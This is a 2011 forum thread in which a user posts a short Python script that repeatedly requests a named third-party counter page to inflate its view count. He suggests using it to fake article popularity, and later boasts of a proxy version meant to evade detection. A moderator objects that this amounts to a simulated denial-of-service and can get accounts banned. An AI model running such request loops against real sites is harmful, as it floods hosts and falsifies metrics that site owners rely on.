Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Web Development (http://www.go4expert.com/forums/web-development-forum/)
-   -   How to mess up Basic counter scrips on Web-pages (http://www.go4expert.com/forums/mess-basic-counter-scrips-web-pages-t24513/)

lionaneesh 13Jan2011 14:33

How to mess up Basic counter scrips on Web-pages
 
Hey today in this tutorial of mine I will demonstrate how to mess up the basic/inelegant counter scrips on the web-pages counting view count etc..

Note : The info provided by this page is just for educational purposes and should not be used for unethical purposes

The Target



I am using Another PhpPageCounter by:WGREP [http://www.wgrep.com/phpcounter.php as a target because its the top rated counter by Hotscripts [http://www.hotscripts.com/category/p...ams/counters/]

The Code


This code is for Python 3.0 if using previous versions change 'urllib2' occurrences in the page to urllib...To know why
Read :-
http://docs.python.org/library/urllib.html

Code:

import urllib2
counter = 0;
hostname = "http://www.wgrep.com/phpcounter.php";
print("Messing up Counter of " +hostname);
try :
        while 1:
                source = urllib2.urlopen(hostname).read()
                counter = counter + 1;
                print(counter);
except :
        print("\nThanks for using CounterMess\n\tMade By : lionaneesh \n\tAKA\n\tExp|i(t-Hax0r")

Uses



If any forum is using this script you can increase the visitors count to your article and easily be promoted to Author etc..
I hope G4E is safe!!!

References



Thanks for viewing my Article...
Have fun...and keep the comments coming..

shabbir 13Jan2011 16:25

Re: How to mess up Basic counter scrips on Web-pages
 
Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.

lionaneesh 13Jan2011 17:02

Re: How to mess up Basic counter scrips on Web-pages
 
Quote:

Originally Posted by shabbir (Post 77357)
Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.

YeaH!!!!!!! I understand this and thats what i wrote in the beginning of my article...
Apologizes...
But i only wanted users to get something from it..

shabbir 13Jan2011 18:44

Re: How to mess up Basic counter scrips on Web-pages
 
Nothing to apologize but just wanted to let you know about it.

Scripting 15Feb2011 22:36

Re: How to mess up Basic counter scrips on Web-pages
 
Man, this is very good and tricky thing !!!

lionaneesh 15Feb2011 22:37

Re: How to mess up Basic counter scrips on Web-pages
 
Quote:

Originally Posted by Scripting (Post 79337)
Man, this is very good and tricky thing !!!

Yeah, I made another one.. it uses proxy's so that it makes us undetectable and can bypass any counter on the net!!!

Scripting 20Feb2011 22:57

Re: How to mess up Basic counter scrips on Web-pages
 
Can u sent it to me (on skype )? Thx

lionaneesh 20Feb2011 23:40

Re: How to mess up Basic counter scrips on Web-pages
 
Quote:

Originally Posted by Scripting (Post 79623)
Can u sent it to me (on skype )? Thx

Finish the work buddy...
We'll upload it directly to our site!!!


All times are GMT +5.5. The time now is 23:40.